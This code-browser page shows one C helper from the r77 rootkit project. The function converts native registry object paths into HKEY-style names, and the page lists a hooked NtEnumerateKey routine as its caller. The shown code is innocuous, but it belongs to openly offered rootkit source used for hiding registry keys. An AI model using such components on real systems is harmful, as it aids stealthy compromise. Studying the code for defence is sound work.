MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / GetRegistryKeyName

Function GetRegistryKeyName

r77api/r77win.c:292–345  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

290 return result;
291}
292BOOL GetRegistryKeyName(HANDLE key, PWCHAR name, DWORD nameLength)
293{
294 BYTE buffer[1000];
295 if (NT_SUCCESS(R77_NtQueryObject(key, ObjectNameInformation, buffer, 1000, NULL)))
296 {
297 PUNICODE_STRING keyNameInfo = (PUNICODE_STRING)buffer;
298 if (keyNameInfo->Length / sizeof(WCHAR) < min(nameLength, 950))
299 {
300 keyNameInfo->Buffer[keyNameInfo->Length / sizeof(WCHAR)] = L'\0';
301
302 if (!StrCmpIW(keyNameInfo->Buffer, L"\\REGISTRY\\MACHINE"))
303 {
304 StrCpyW(name, L"HKEY_LOCAL_MACHINE");
305 return TRUE;
306 }
307 else if (!StrCmpIW(keyNameInfo->Buffer, L"\\REGISTRY\\USER"))
308 {
309 StrCpyW(name, L"HKEY_USERS");
310 return TRUE;
311 }
312 else if (!StrCmpNIW(keyNameInfo->Buffer, L"\\REGISTRY\\MACHINE\\", 18))
313 {
314 StrCpyW(name, L"HKEY_LOCAL_MACHINE\\");
315 StrCatW(name, &keyNameInfo->Buffer[18]);
316 return TRUE;
317 }
318 else if (!StrCmpNIW(keyNameInfo->Buffer, L"\\REGISTRY\\USER\\S-", 17))
319 {
320 StrCpyW(name, L"HKEY_CURRENT_USER");
321
322 LPCWSTR sidEnd = StrChrW(&keyNameInfo->Buffer[17], L'\\');
323 if (sidEnd)
324 {
325 StrCatW(name, sidEnd);
326 }
327
328 return TRUE;
329 }
330 else if (!StrCmpNIW(keyNameInfo->Buffer, L"\\REGISTRY\\USER\\", 15))
331 {
332 StrCpyW(name, L"HKEY_USERS\\");
333 StrCatW(name, &keyNameInfo->Buffer[15]);
334 return TRUE;
335 }
336 else
337 {
338 StrCpyW(name, keyNameInfo->Buffer);
339 return TRUE;
340 }
341 }
342 }
343
344 return FALSE;
345}
346BOOL EnabledDebugPrivilege()
347{
348 BOOL result = FALSE;

Callers 2

HookedNtEnumerateKeyFunction · 0.85

Calls 1

R77_NtQueryObjectFunction · 0.85

Tested by

no test coverage detected